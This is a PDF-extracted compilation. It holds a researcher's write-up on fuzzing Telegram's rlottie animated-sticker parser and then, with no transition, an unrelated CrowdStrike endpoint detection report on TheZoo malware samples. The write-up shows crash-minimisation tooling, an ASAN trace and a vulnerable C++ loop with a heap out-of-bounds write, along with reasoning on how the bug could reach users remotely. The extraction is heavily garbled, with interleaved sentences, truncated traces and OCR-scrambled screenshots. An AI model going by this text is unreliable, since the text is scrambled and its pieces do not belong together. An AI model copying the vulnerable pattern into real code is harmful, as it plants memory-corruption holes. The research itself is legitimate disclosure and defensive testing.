From the first crash triage cycle it seemed some issues could be serious: heap-based out-of-bounds read/write, stack-based out-of-bounds write and high-address SEGVs all looked promising, so I started investigating them while studying the code and continuously improving and keeping the fuzzer running.

Most of the remaining issues were null-pointer dereferences not useful from an exploitation perspective, however in this context - as we will see later - they might become an annoying denial-of-service bug for non-technical users.

### Layman's guide to crash testcase minimization (excursus)

After triaging and prioritizing the crashes I started analyzing the root-cause of each of them. The problem was that since the library parsed JSONs and skipped useless keys, the crashing testcase included a ton of unnecessary keys and values (imagine a single line 2KB JSON with multiple nested void keys/arrays/strings/objects). A

t the beginning I thought of writing a JSON minimizer tool in python, but remembering the "try lazy first" way of thinking I hacked together halfempty, ASAN and grep to bruteforce their way to the minimized still-crashing-in-the-same-way JSON, and it worked pretty well!

Let's have a look at one example fed to halfempty:

```
#!/bin/bash
exit 0 || exit 1
```

I could have added more filters to the grep (error type, \$pc, stacktrace, ...) but it wasn't really necessary here. Afterwards I could simply run halfempty to bruteforce a minimized testcase:

```
halfempty --stable --zero-char=0x20 --output=min.json run_and_grep_hbof4write.bash raw.json
```

This helped because, without further checks besides checking for a SIGSEGV (test \$? -eq 139), halfempty would have produced a minimized testcase which crashed rlottie with a null-pointer dereference (still a SIGSEGV but not what I was looking for).

timeout -k1s 4s rlottie/parser-asan /dev/stdin 2>&1 | grep -q 'WRITE of size 4 at' &&

### Heap out-of-bounds write in VGradientCache::generateGradientColorTable

Let's walk through one of the most impactful issues I have found: a 4-bytes heap out-of-bounds write in VGradientCache::generateGradientColorTable.

Here's a sample ASAN report snippet with a bit of context:

ROR: AddressSanitizer: heap-buffer-overflow on address 0x621000001130 at pc 0x0000005652a4 bp 0x7ffef2d69190 sp 0x7ffef2d69188
ze 4 at 0x621000001130 thread T0
52a3 in VGradientCache::generateGradientColorTable(std::vector <std::pair<float, vcolor="">, std::allocator<std::pair<float, vcolor=""> &gt; &gt; const&amp;, floa whelper.cpp:159:25</std::pair<float,></std::pair<float,>
/4d5c in VGradientCache::addCacheElement(long, VGradient const&) rlottie/src/vector/vdrawhelper.cpp:125:30
'3645 in VGradientCache::getBuffer(VGradient const&) rlottie/src/vector/vdrawhelper.cpp:87:24
.9a39 in VSpanData::setup(VBrush const&, VPainter::CompositionMode, int) rlottie/src/vector/vdrawhelper.cpp:761:46
b528 in VPainter::setBrush(VBrush const&) rlottie/src/vector/vpainter.cpp:140:22
2a15 in LOTLayerItem::render(VPainter*, VRle const&, VRle const&) rlottie/src/lottie/lottieitem.cpp:332:18
.841e in LOTCompLayerItem::renderHelper(VPainter*, VRle const&, VRle const&) rlottie/src/lottie/lottieitem.cpp:651:28
:7744 in LOTCompLayerItem::render(VPainter*, VRle const&, VRle const&) rlottie/src/lottie/lottieitem.cpp:602:9
:0348 in LOTCompItem::render(rlottie::Surface const&) rlottie/src/lottie/lottieitem.cpp:198:17
1070 in AnimationImpl::render(unsigned long, rlottie::Surface const&) rlottie/src/lottie/lottieanimation.cpp:107:16
922a5 in rlottie::Animation::renderSync(unsigned long, rlottie::Surface&) rlottie/src/lottie/lottieanimation.cpp:206:8
.8b146 in entrypoint(std::cxx11::basic_string <char, std::char_traits<char="">, std::allocator<char> &gt;) rlottie_parser.cpp:40:17</char></char,>
8b40e in main rlottie_parser.cpp:60:16
/f22916cebf6 inlibc_start_main /build/glibc-S9d2JN/glibc-2.27/csu//csu/libc-start.c:310

#14 0x41e439 in \_start (rlottie/parser-asan+0x41e439)

The vulnerability stems from an incorrectly bounded loop (comments are mine):

```
bool VGradientCache::generateGradientColorTable(const VGradientStops &stops,
                                                       float
                                                                             opacity,
                                                       uint32_t *colorTable, int size)
      {
                                dist, idist, pos = 0, i;
          int
                                alpha = false;
          bool
                               stopCount = stops.size();
          int
          const VGradientStop *curr, *next, *start;
          uint32_t
                               curColor, nextColor;
     float
10
                           delta, t, incr, fpos;
11
12
          if (!vCompare(opacity, 1.0f)) alpha = true;
13
14
      start = stops.data();
15
          curr = start;
16
          if (!curr->second.isOpaque()) alpha = true;
17
          curColor = curr->second.premulARGB(opacity); // out-of-bounds value, curr->second is controlled
18
          incr = 1.0 / (float)size;
                                                         // static
19
          fpos = 1.5 * incr;
                                                         // static
20
21
          colorTable[pos++] = curColor;
22
23
24
25
26
27
          while (fpos <= curr->first) {
                                                        // curr->first is controlled and pos is not checked to be < size, leading to
              colorTable[pos] = colorTable[pos - 1]; // out-of-bounds write
              pos++;
              fpos += incr;
     }
28
```

at, unsigned int\*, int) rlottie/src/vector/

size), leading to writing out-of-bounds 4 meaningful elements to the animation. bytes after the end of the colorTable array allocated in heap memory.

static, curr->first and curr->second come paragraph if you do!). From the structuredirectly from the animated sticker but aware fuzzing wiki I linked earlier: colorTable is an uint32\_t array of static size 1024, hence it is possible to overwrite an arbitrary amount of heap memory after it by carefully using a float number as curr->first in the animated sticker file.

The written bytes are controlled via the sticker file too, but constrained to ARGB encoding performed in premulARGB() and getColorReplacement().

While it's probably only useful in 32bit environments, coupled with an additional ASLR-bypass gadget it might lead to remote code execution. That being said, during my research I couldn't find memory-probing oracles or remote infoleaks to overcome this protection so I didn't investigate further.

The advisories for my other issues are available at shielder.it/advisories!

### Structure-aware fuzzing

While analyzing the coverage traces I noticed that most of the mutated testcases were breaking the JSON syntax or messing up the few required JSON keys, reaching very shallow code. But in those same days I learnt about structure-aware fuzzing, which looked like what I was after: since rlottie parses structured data (JSONs), i needed some way to mutate the animations without breaking its syntax; also, I wasn't much interested in fuzzing the JSON decoding because it was handled by rapidjson inside rlottie itself. While the -x dictionary flag

As we can see in the snippet, pos is not in AFL++ improved the situation, it didn't checked against size (the colorTable array instruct the fuzzer how to add or remove

Let's have a little introduction on structure-/ grammar-aware fuzzing for who's not Specifically, while fpos, size and incr are familiar with it (feel free to skip this

> Coverage-guided mutation-based fuzzers, such as libFuzzer or AFL, are not restricted to a single input type and do not require grammar definitions. Thus, mutation-based fuzzers are generally easier to set up and use than their generation-based counterparts. But the lack of an input grammar can also result in inefficient fuzzing for complicated input types, where any traditional mutation (e.g. bit flipping) leads to an invalid input rejected by the target API in the early stage of parsing.

As an example let's imagine we feed to AFL++ a corpus made of JSONs and point it against the harness we have seen earlier, what testcases would it produce? Mostly broken JSONs. This is because by applying "standard mutations" (e.g. bit flipping) it might mutate a char responsible for the JSON structure, breaking its syntax. This will lead to shallow code coverage, because the parser will exit once it detects the JSON is malformed, and to a lot of wasted executions, because they couldn't advance the coverage.

But if we instead create a grammar definition about how are lottie animations actually structured, we'd be able to have more control about the testcase mutations. This is where protobuf and libprotobufmutator come in the picture: by creating a

grammar definition in the protobuf syntax and using libprotobuf-mutator to instruct the fuzzer how to mutate a protobul message, we can produce always syntactically valid testcases (i.e. in this case valid JSONs) to feed the target harness.

Let's see an example protobul message I have written for the main structure by reading the source code and mattbas's python-lottie project documentation:

message RLottieProto {		W
<pre>// required string version = 1;</pre>	// "v"	as
<pre>required LayersAttribute layers = 2;</pre>	// "layers"	be
<pre>optional double frame_rate = 3;</pre>	// "fr"	De
<pre>required double in_point = 4;</pre>	// "ip"	lit
<pre>required double out_point = 5;</pre>	// "op"	_
<pre>required uint32 width = 6;</pre>	// "w"	SC
required uint32 height = 7;	// "h"	pr
<pre>optional string comp_name = 8;</pre>	// "nm"	•
optional bool ddd = 9;	// "ddd"	O
optional AssetsAttribute assets = 10;	<pre>// "assets"</pre>	as
		le

Moreover (probably because of that monster harness) the fuzzer was way slower than "simple" coverage-guided benchmarks (x4 slowdown on the same hardware).

To sum up, the structure-aware fuzzer turned out to be faster than the "simple" coverageguided strategy in finding the same bugs, but required a bigger time investment upfront just to start it, so I'm happy for the knowledge I have acquired but I'd probably recommend and use it against more complex codebases than rlottie, e.g. browser's IPC.

### TELEGRAM'S ANIMATED STICKERS ATTACK SURFACE

So how are animated stickers implemented? They are basically files uploaded to Telegram's cloud drive and referenced in messages by setting the application/x-tgsticker mime type and attaching the cloud coordinates.

A curious limitation I noticed is that in unencrypted chats (the default mode for chats, i.e. not "secret chats") during my testing I couldn't receive the malicious sticker to my other testing accounts; this got me wondering whether Telegram servers were doing any kind of parsing/filtering of the stickers I uploaded, but that's hard to tell since Telegram's server-side code is not open-source (yet?).

This also limited the potential impact since only secret chats were usable to send an arbitrary animated sticker, probably because the file uploads are E2E encrypted too.

Another interesting thing I noticed about secret chats is that, besides the macOS client, it's not possible to configure the client to prevent secret chats from being automatically accepted on that device. This allowed me to automatically start a secret chat and send animated stickers to anyone via Frida (thanks @thezero for the help with the JavaScript code!), until after my reports Telegram introduced the "Filter New Chats from Non-Contacts" setting (which is still non-default so probably not enabled by everyone).

*Writing the rlottie protobuf grammar to use* as an intermediate format turned out to be particularly time consuming: while the ibrary code was easily readable, it required some tricky design decisions (proto2 or proto3? multiple types with repeated keys or minimal type + add-ons? etc...) not trivial is setting up the coverage-guided harness, leading to a ~1k LOC harness.

Unfortunately the animated stickers are parsed and rendered only when the chat is opened, making these vulnerabilities reachable only if the chat is opened by clicking on it.

Furthermore, since the animated sticker is downloaded on the device, everytime the chat is opened the issue triggers; this turned useless memory corruptions (such as null-pointer dereferences) into an annoyingly persistent crash which would have prevented non-technical victims from accessing the previous messages in the chat. (Tech-savvy people could have extracted them from the local Telegram's database, or used another client altogether.)

### How they patched it

After my reports, Telegram introduced an interesting way to prevent such attack surface from being available remotely in a single click, without breaking the end-to-end encryption altogether: each and every animated sticker received in a secret chat (remember that malicious stickers in normal chats are filtered) are verified to be actually part of a sticker set (or "sticker pack", i.e. a collection of stickers of a specific theme/topic).

This probably comes from my own proof-of-concepts where I faked sticker sets references, but at the end of the day it successfully prevents malicious stickers from being decoded on the victim device since during the creation of a sticker set every sticker is parsed (yes, I guess the issues I have found could have been used against Telegram servers themselves in the creation of a sticker pack, but again since the server-side code is not open-source that's just a guess).

We can see an example implementation of these new checks in verifyAnimatedStickerMessage, part of Telegram's Android source code:

```
TLRPC.Document document = MessageObject.getDocument(message);
      String name = MessageObject.getStickerSetName(document);
      if (TextUtils.isEmpty(name)) {
          return;
      TLRPC.TL_messages_stickerSet stickerSet = stickerSetsByName.get(name);
      if (stickerSet != null) {
    for (int a = 0, N = stickerSet.documents.size(); a < N; a++) {</pre>
        TLRPC.Document sticker = stickerSet.documents.get(a);
10
         if (sticker.id == document.id && sticker.dc_id == document.dc_id) {
11
                  message.stickerVerified = 1;
12
                  break;
13
         }
14
     }
15
     return;
116
```

sticker.id == document.id verifies that the unique Telegram cloud file identifier (used to reference also stickers, even in secret chats) equals the identifier of a sticker in a public sticker set, while sticker.dc\_id == document.dc\_id verifies that the datacenter identifiers match (I'm not 100% sure this was necessary). This way a potential attacker not only needs to find additional issues in the rlottie forks, but also a bypass for these new authenticity checks.

### CONCLUSION

Before starting this research in 2019 I would have been pretty skeptical if you had asked me whether the following year I'd find a single memory corruption in Telegram. Today I shared with you the story of how I have found 13, some with a higher impact than others but all which were promptly fixed by Telegram for all the device families supporting secret chats: Android, iOS and macOS.

This research helped me understand once more that it's not trivial to limit attack surfaces at scale in end-to-end encrypted contexts without losing functionalities. I hope that this blogpost inspired you in learning more about fuzzing and information security in general. If you have any comment or tip for improvement it would be greatly appreciated: you can reach me at @polict\_ – until next time!



## CROWDSTRIKE DETECTION REPORT "TheZoo"

**Filipi Pires** 

The purpose of this document, it was to execute several efficiency and detection tests in our laben viron mentprotected with an endpoint solution, provided by CrowdStrike, this document brings the result of the defensive security analysis with an offensive mindset performed in the execution of 33 folders download with Malwares by The Zoo repository in our environment.

Regarding the test performed, the first objective it was to simulate targeted attacks using known malware to obtain a panoramic view of the resilience presented by the solution, with regard to the efficiency in its detection by signatures, downloading these artifacts directly on the victim's machine.

The second objective consisted of analyzing the detection of those same 32 folders download with Malwares (or those not detected yet) when they were changed directories, the idea here is to work with manipulation of samples (without execution).

The third focal objective it was the execution of a ScanNow inside victim's machines for effectiveness analysis.

With the final product, the front responsible for the product will have an instrument capable of guiding a process of mitigation and / or correction, as well as optimized improvement, based on the criticality of risks.

## INTRODUCTION

### Scope

- The efficiency and detection analysis had as target the Crowdstrike Endpoint Protection application in Sensor Version: 5.36.11809.0
- Installed in the windows machine Windows 10 Pro; Hostname Threat-Hunting-Win10-POC, as you can see in the picture below:

Q Type	to filter																2 ho	sts found
Platform			S Versio			ou			Sit				Туре		Status		Sensor Tags	
Windows									! N/#									
0 of 2	selected											ĩ	🗄 🕹 🎞	THREAT-	HUNTING-			04
н	lostname 🗢	Last Seen	⊽ Firs	tSeen ⊽	OS Vers	▽	ou		n	Sensor Upd	Status	0	Sensor ♥	0	🗭 Disable De	🔅 Network C.	. 🙁 Delete	۲
т	HREAT-H	08-10-2020.	. 08-	10-2020	Windows	10		Default (W 08-10-202		Default (Wi 08-10-2020	Normal		5.36.11809	f Reveal	maintenance tok	en		
				tlecienar Administra				trike\1 Crowd	100.0			-	0 ×	Host Info				
								trike(i_crowc	a5tr1	xe> ipcontig				HOST TYPE	Workst	tation		
			Com	figuração	de 1P do	Windo	N/S											D
			Adap	ptador Eth	ernet Eth	ernet	e:							SENSOR VER	SION 5.36.11	009.0		
												-		LAST SEEN	08-10-	2020 14:41:52		
				Endereço I Náscara de	Pv4 Sub-rede				192.1 255.2	55.255.0	288:a/ye%	5		FIRST SECN	08-10-	2020 09:20:34		
								trike\1_Crowd										

Image 1.1: Windows 10 Pro 2019 Virtual Machine

### **Project Summary**

The execution of the security analysis tests of the Threat Hunting team was carried out through the execution of 33 folders with many Malwares in a virtualized environment. It was carried out in a controlled and simulated a real environment, together with their respective best practices of the security policies applied.

The test lasted for 2 days, without count the weekend, along with the making of this document. The intrusion test started on 8 October 2020 and it was completed on 19 October 2020.

### **RUNNING THE TESTS**

### Description

A virtual machine with Windows 10 operating system it was deployed to perform the appropriate tests, as well as the creation of a security policy on the management platform (Threat-Hunting-Win10-POC) and applied to due device.

📏 (2) New Messagest 🛛 🗙 🔪 Def	nuit (Windows)   Presention F × +		
	configuration/prevention/policies/63d127e3c7234315bfb9d803d324cee5		
Trial quide Questions? Ask us			eft in trial
🦄 : 🖀 Configuration > Prevention Polis	kes > Default (Windows) 디	Qs	earch
5 All Policies () Default (W	indows) (Enabled)		
түрс	oviccoski		CNADLED
Sensor Visibility	Firmware		1
TVOK	CATEGORY		CLOUD AN
Next-Gen Antivirus	Cloud Machine Learning		Detectio
TYPE Next-Gen Antivirus	CATEGORY Sensor Machine Learning		Detectio
TYPS	CATECORY		fnarlfd
Next-Gen Antivirus	Quarantine		1
TYPE	CATEGORY		ENABLED
Malware Protection	Execution Blocking		6
TYPE	CATEGORY	Ð	enabled
Behavior-Based Prevention	Exploit Mitigation		5
TYPE	cateooxy		ENABLED
Behavior-Based Prevention	Ransomware		5
TYPE	CATEGORY		ENABLED
Behavior-Based Prevention	Exploitation Behavior		5
TYPE	CATEGORY		ENABLED
Behavior-Based Prevention	Lateral Movement and Credential Access		2
🗄 🔎 Digite aqui para pesquisar	o = 🙆 🤞 🧔 🚍 🧃	🕈 🧕 🗵	3

### Image 1.2: Virtual Machine with Policy applied

The policy used was named Default (Windows), following the best practices recommended by the manufacturer, and, for testing purposes, all due actions were based on an aggressive detection method.

TYPE Next-Gen Antiv	irus		ATEGORY Cloud Machin	e Learning			CLOUD ANTI-MALI Detection: Agg		ntion: Modera	te	ADWARE Detecti		revention: Moderate
Cloud Anti-mah Use cloud-base for your online	d machine lea		ed by global a	nalysis of exe	cutables to detect and prev	ent known malware	Adware & PUP Use cloud-base potentially unw	d machine lea	-				t and prevent adware and
	DISABLED	CAUTIOUS	MODERATE	AGGRESSIVE	EXTRA AGGRESSIVE			DISABLED	CAUTIOUS	MODERATE	AGGRESSIVE	EXTRA AGGRESSIVE	
Detection		<b>•</b>	0	0			Detection		<ul> <li>—</li> </ul>	0	<ul> <li>Image: A start of the start of</li></ul>	- B	
Prevention	$\Box$	<b>V</b>	<ul> <li>Image: Second sec</li></ul>				Prevention	$\Box$	<b>v</b>	<ul> <li></li> </ul>	-0-	-0	

Image 1.3: Policy Next-Gen Antivirus (Default Policy)

			0
			🕼 🌣 🎯 Andhima 🗄
			Buy now
			e 👗
			6
	_		
	DIGABLED	UNAVAILABLE	Enable All
	0	0	
(TI-MAL)			ADWARE & PUP
n: Agg	ressive Prevention:	Moderate	Detection: Aggressive Prevention: Moderate
NTI-MAI		_	
n: Agg	ressive Prevention:	Moderate	
	DISARLED	UNAVAILARLE	
	0	0	Enable All
	DISABLED O	UNAVAILABLE O	C Enable All
	DISABLED	UNAVAILABLE O	Enable All
		Ũ	
	DISABLED	UNAVAILABLE	C Enable All
	0	0	
	DISABLED	UNAVAILABLE	<b>O</b>
	0	0	Enable All
	DISABLED	UNAVAILABLE	
	0	0	Enable All
			ヘロ (1) (1454 日) (1454 日)

One of the differences that we see with CrowdStrike is the non-use of Icon related of the binary.

**NOTE:** Falcon keeps a low profile and does not show a Windows system tray icon or Application in Mac. You can ensure that your newly installed sensor is running and has connected to the cloud via the Falcon interface.

### ③ Verify Registered AV

Within Windows, you can verify that Falcon Prevent is the active anti-virus product for the system.

- Locate the Security and Maintenance section of the Windows Control Panel.
- Depending on your version of Windows, it may be easiest to search for Security and maintenance.
- Review the Security Section. You may need to dismiss existing notifications and/or expand the Security Section in order to locate the Virus protection section.
- Confirm that CrowdStrike Falcon is listed under Virus protection.

NOTE: This step does not apply to Windows Server installations: Windows Server does not feature a control panel module that shows virus protection status.

Windows Security		- 0 ×	
-	O Virus & threat protection		
	Protection for your device against threads.	Windows Community videos	
D Form		Learn-more about Virus It Renal	
Visa & threat protection			
Account protection		Have a question?	
Frenal & setwork protection		Get May	
App & browner central			
Device security		Why's protecting me? Manage providers	
P Device performance & health			
6. Family options		Help improve Windows Security Gran as functions	
	CrowdStrike Falcon Sensor CowdStrike falcon Sensor is turned on.		
		Ownge your privacy settings.	
	Carrent threads <ul> <li>No actions needed.</li> </ul>	View and change privacy settings for your Windows 10 device.	
	Protection writings	Privacy settings	
	No actions needed.	Privacy distributed	
	Protection updates <ul> <li>No actions needed.</li> </ul>	Privacy Surament	
	Open war		
	Windows Defender Antisirus options 🛛 🗸		

Image 1.4: Installation binary information

### First Test

The first stage of the tests was downloading 33 folders of different kinds of malwares. All of which are known to be older and are in the public repository, maintained by the security community called <u>The Zoo</u>. The purpose of this test was to simulate the same process as a user receiving and extracting a .zip file in their own environment.



Image 1.5: Download 33 Folders with malicious files

Inter         Out of manufactory         The demandation         The demandation </th <th></th> <th>Computeday - Decementary - Lab - Co</th> <th>white a 1 Countrile</th> <th></th> <th>0.000101</th> <th>Constitute .</th> <th>📓 📓 🗮 🕄 🚍 🕲 🖆</th> <th>r 🛪 🗛</th> <th></th> <th>L</th> <th>- L.</th> <th>CA MANYON .</th> <th>many and a</th>		Computeday - Decementary - Lab - Co	white a 1 Countrile		0.000101	Constitute .	📓 📓 🗮 🕄 🚍 🕲 🖆	r 🛪 🗛		L	- L.	CA MANYON .	many and a
mit	T She	computator > Discomentas > Lab > Cre	INDURE > I_CRENDOME	¥ 0	P Pequisar ()	Crowdoorke	Process	Ŭ VŬ	Physic Bytes	Working Set	PID Description	Corpany Name	
Index         Index         Index         Particle region         Particl		Nome	Data de modificação	Tipo Tan	anho	-							
init is handler, fråbit       Ansister, gråbit       Mander, gråbit       Name       12       21.51 k       Mander, gråbit         Name       10       Specific optic handler, fråbit       Name       12       21.51 k       Mander, gråbit         Name       10       Specific optic handler, fråbit       Name       12       21.51 k       Mander, fråbit         Name       10       Specific optic handler, fråbit       Name       10       Name       10		NEW ECLIDER	08/10/2020 12:00	Parta de amujuno									
Number         Perturbation	rea de Trabalho 🖈											Horest Caporatori	
Vertexter         Copie darker, 2007/4         Other bargener         Darker bargener         Darker bargener         Darker bargener         Darker bargener         Darker bargener         Darker bargener           Main         Equitable, politiker         Main dargener         Darker bargener         Darker bargener         Darker bargener         Darker bargener           Main         Equitable, politiker         Main dargener         Darker bargener         Darker bargener         Darker bargener           Main         Equitable, politiker         Main dargener         Darker bargener         Darker bargener         Darker bargener           Main         Equitable, politiker         Main         Main         Darker bargener         Darker bargener         Darker bargener           Main         Main         Main         Main         Main         Main         Main         Main         Main           Main         Main         Main         Main         Main         Main         Main         Main         Main           Main         Main         Main         Main         Main         Main         Main         Main         Main         Main           Main         Main         Main         Main         Main         Main <thmain< th="">         M</thmain<>	wooleads 🖉												
New Partial Partia Partial Partial Partial Partial Partial Partial Part	ecumentes 🖈												
A         Environme         Enviro	napens 🖈												
Compose of Particulation         Description         Description <thdescriptio< td=""><td></td><td></td><td></td><td></td><td></td><td></td><td></td><td></td><td></td><td></td><td></td><td></td><td></td></thdescriptio<>													
Image: State of the second base of the second b												Videore in:	
Sinter Link         Special construction         Bits         24.37 K         Disks         20.37 K         Disks         Disks         20.37 K         Disks         Disks <thdisks< th="">         Disks         Disks</thdisks<>													
Max         Base         Construction         Difference													
c c cmunité       976       62 26 K       22 26 K       52 K <t< td=""><td>hird_Testing</td><td></td><td></td><td></td><td></td><td></td><td></td><td></td><td></td><td></td><td></td><td></td><td></td></t<>	hird_Testing												
Hans, Depert.A         Mithod 2014/44         Prode de seguients         Office Contract         Office Co	e Comoutador							0.07				- Automa capation	
Ar         Hum. Stender.1         UNU 2013 14/5         Para de seguines         Biol Logic Dama													
Line. Morial         Off-Top States         Line. Morial         Output States         Line. Morial         Morial <t< td=""><td>de</td><td>Linux Encoder,1</td><td>08/10/2020 14:55</td><td>Parta de arquivos</td><td></td><td></td><td></td><td></td><td></td><td>67 272 K</td><td>5584 Google Ovone</td><td></td><td></td></t<>	de	Linux Encoder,1	08/10/2020 14:55	Parta de arquivos						67 272 K	5584 Google Ovone		
Her Warwich/Linkin         Out/10/2014/45         Parada singuinen         Collisation         Out/10/2014/45         Parada singuinen           OKLanderia         Noverk Coperation           OKLANDERIA         OKLANDERIA         Parada singularia         OKLANDERIA         OKLANDERIA         Noverk Coperation         OKLANDERIA         OKLANDERIA         Noverk Coperation           OKLANDERIA         OKLANDERIA         Parada singularia         OKLANDERIA         OKLANDERIA         Noverk Coperation         OKLANDERIA         OKLANDERIA         OKLANDERIA         OKLANDERIA         OKLANDERIA         OKLANDERIA         OKLANDERIA         OKLANDERIA         OKLANDERIA		Linux Mirai.8					Contract and	0.00	21,212,4	14 536 4	ETC Resource do Modie and Presi	Manada Companying	
O.G.S. dockson/Journel         Off. Journel         Partial de sequences         Partial de sequ		Net-Worn-Win32.Kido	08/10/2020 14:56				CSFalcorServce exe	0.03			1600 DrawdStrike Falcon Sensor	CrowdStrike, Inc.	
OKLAmis         Official de ampioni         Distriction         Status		OSI, Backdoor, Worm					La Weccenteria Compositional	0.03			2252 Window Criwinal Composed	Manager Corporation	
Of JAMa Service         Oracle Service         Oracle Service         Oracle Service         Oracle Service         Oracle Service         Network Construction           Service         Service <t< td=""><td></td><td>0SUbcktRat</td><td>08/10/2020 14:56</td><td></td><td></td><td></td><td></td><td></td><td></td><td></td><td></td><td></td><td></td></t<>		0SUbcktRat	08/10/2020 14:56										
OSAM         Other State Sta		OSLLazarus	08/10/2020 14:56	Pasta de arquivos									
		OSI MacSecurity	08/10/2020 14:56										
Biomenance Crystewart         00/1         032 k         0.2 Junc         00/1         032 k         0.2 Junc         Nonest Crystewart           Biomenance Crystewart         00/1         0.3 k         8.2 k         0.2 k         0.													
Extremental sigles         Diff (2001 M-M)         Partial destapping         Partidesta		Ransemware Cryptewall	08/10/2020 14:56	Pasta de arquivos			Memory Compression						
Brownsext.lody         04/10/2014/46         Parts de sequènes         000         10000         1000         1000		Ransemware.ligsaw	08/10/2020 14:56	Parta de arquivos								Moreast Carporation	
Descense Mondo         0/1/1/02014/45         Parts do singulants         1/2/2/2/2/2/2/2/2/2/2/2/2/2/2/2/2/2/2/2		Ransemware Locky	06/10/2020 14:56									Goode LLC	
Descense (24)       Div		Rancemware Mamba	08/10/2020 14:56	Parta de arquivos			Callsorbott even	< 0.01	\$0.2%K	47.840 K	64 Processo de Host cara Sensi		
MSC anish         Marca de regulados         Tende de regulad		Ransemware.Petya	08/10/2020 14:56	Pasta de arquivos			CSfacorContainer exe	< 0.01	5.960 K	31.900 K	6380		
<ul> <li>WSC-main</li> <li>WSC-main</li></ul>		TrejanWin32.Dugu.Stainet	08/10/2020 14:56	Pasta de arquivos			- Internet	2010	1 336 K	154 K	515	NOTION CODORED	_
Michaelschal         With Jacksbrack         Partie de singulation         Tri (Jakebinerse and Gisselbanderse)         4.5.4.k (± 1.00 k f         1.00 k f         Michael Constructions           Michaelschal         With Jacksbrack         With Jacksbrack         Partie de singulation         Gisselbanderse         6.42 k f         1.00 k f         Michael Constructions         Michael Constructions           With Jacksbrack         With Jacksbrack         With Jacksbrack         Partie de singulation         Fill Jakebrack         5.00 k f         4.53 k f         3.00 k f         5.00 k f <td></td> <td>VESCarnival</td> <td>06/10/2020 14:56</td> <td>Pasta de arquivos</td> <td></td> <td></td> <td></td> <td></td> <td>11.080 K</td> <td>7.652 K</td> <td>4252 Windowsinternal Composabl.</td> <td>Morosoft Corporation</td> <td></td>		VESCarnival	06/10/2020 14:56	Pasta de arquivos					11.080 K	7.652 K	4252 Windowsinternal Composabl.	Morosoft Corporation	
WKLAPCTS-SteinSeriet       W11200214-24       W1200214-24        W1200214-24       W12004       W1200       W1200214-24       W12004       W1200       W120		VES.NewLoveA	08/10/2020 14:56	Pasta de arquivos									
With 2015 Seleidentia         Off 10003 14/3         Parts de singulants		VES.RunScript	08/10/2020 14:56	Pasta de arquivos									
Write-Demokrationalization Processe de la strate anglication       Tije Hohm Eee       11.114 K       15.12 K		Win32.APT28.SekoiaRootkit	08/10/2020 14:56	Pasta de arquivos		_					3352		
WindStrongs Tsign-Ranner, 22         OINT 1000 14-56         Parts of simplicity         OINT offer the end of the end offer the end o		Win32.Stuxnet.B.Dugu-Realtek	08/10/2020 14:56	Pasta de arquivos		_							
Purelster         Bit 15 Mill         Bit 20 Million         Display Link         Provide term         Display Link         Display Link <td></td> <td>Win32Dircrypt Trojan Ransem A82</td> <td>08/10/2020 14:56</td> <td>Pasta de arquivos</td> <td></td> <td>_</td> <td></td> <td></td> <td></td> <td></td> <td></td> <td></td> <td></td>		Win32Dircrypt Trojan Ransem A82	08/10/2020 14:56	Pasta de arquivos		_							
Constructions Parallel Construction Parallel Construction     Constru		Zerabocher	08/10/2020 14:56	Pasta de arquivos									
Bit Reciferent Line         Clip Honora         Clip Honora <td></td> <td>BE ADDRESS BY AV RESIDENCE FEEDONE SP</td> <td>00/10/2020 14(13</td> <td>Arquino ZIP 65 W</td> <td>1.620 1.8</td> <td>_</td> <td></td> <td></td> <td></td> <td></td> <td></td> <td></td> <td></td>		BE ADDRESS BY AV RESIDENCE FEEDONE SP	00/10/2020 14(13	Arquino ZIP 65 W	1.620 1.8	_							
CogniticActed_220x2Vx4.59         00/11/0003 14/13         Anguine 278 do Vil         201 KI         201 KI         200 KI		Backdoor.MSIL.Tyupkin.zip	06/10/2020 14:13	Arquivo ZIP do Wi	575 KB								
Spaniseries Deublefanzu zu     OV 11/2005 14/1     Aussino 279 do WL, V2 R     Cli enfont ee     424 K     132 K     105 Prozende histografism     Cli enfont ee     424 K     132 K     105 Prozende histografism     Cli enfont ee     424 K     132 K     105 Prozende histografism     Aussino 279 do WL, V2 R     Cli enfont ee     144 K     145 K     Overall Dopation     Cli enfont ee     144 K     145 K     Overall Dopation     Overall     Overall Dopation     Overall     Over			08/10/2020 14:13	Arquivo ZIP do Wi_	335 KB								
Constructions Systematicatory 2     Constructions Systematica			08/10/2020 14:13	Arquivo ZIP do Wi-	92 KB		svchost.exe		4.824 K	1.852 K	1696 Processo de Host para Servi.	Microsoft Corporation	
Construction-Computed System 2019     Construction     Computed System 2019     Computed Sy													
Expendence Service     OV/10/2003 14/4     Anyoine 278 do VIL.     OV 10     CENTRE CONTRACT     Service Contract Service     Service     Service Contract Service     Service     Service Contract Service     Service     Service Contract     Service     Se		EquationGroup.EquationLaser.zip	08/10/2020 14:14	Arquivo ZIP do Wi_	76 KB								
Exception Workfords and America 2016 Process de Host para Servi Microsoft Corporation					90 KB		svchost exe		3.320 K	7.300 K	2252 Processo de Host para Servi.	Microsoft Corporation	
		Equation Group. TipleFantacy.zip	08/10/2020 14:14	Arquivo ZIP do WinRAR	10 83								
Classification, sport encryption (second encryption)     Contractor (second encry													

Image 1.6: Extraction of 33 Folders with malicious files

After performing the action of extracting the files, it was possible to verify that CrowdStrike Security Endpoint didn't detect any malware when it was downloaded to the victim machine. But if executed inside the environment, it could perform an infection.

All those malwares are known and should be detected by signature, but they didn't.

Regarding some with the vendor CrowdStrike doesn't work based on signature, this is one of the reasons, low consumption of computational resources:

Machine learning (ML) is used for pre-execution prevention. Falcon Host employs sophisticated machine learning algorithms that can analyze millions of file characteristics to determine if a file is malicious. This signature-less technology enables Falcon Host to detect and block both known and unknown malware. CrowdStrike ML technology has been independently tested and furthermore, it was provided to VirusTotal to contribute to the security community for the benefit of all. For more information about CrowdStrike ML, read the blog, "CrowdStrike Machine Learning and VirusTotal". [1] [2]

### Second Test

The second stage of the tests was through the transfer of folders to another directory within the same machine, the purpose of this test was to simulate a transfer of files within the same environment.



Image 1.7: \_\_\_NEW\_FOLDER\_\_(CrowdStrike) – Malware manipulation

When a new file is generated on the disk, soon we should have a new entry in a block of that disk and in theory the antivirus should take some action (considering that it has the real time enabled).

We could define it as a file manipulation (still not running) where the endpoint protection is already necessary, considering that a new directory was created. Soon, we would have a new repository with several hashes inside to be examined.

After performing this second test, we saw that the same 32 folders with malwares were detected yet. As we can see below and mentioned earlier, these malware were already known and validated even in the tool about antivirus scanning known as a Virus Total.

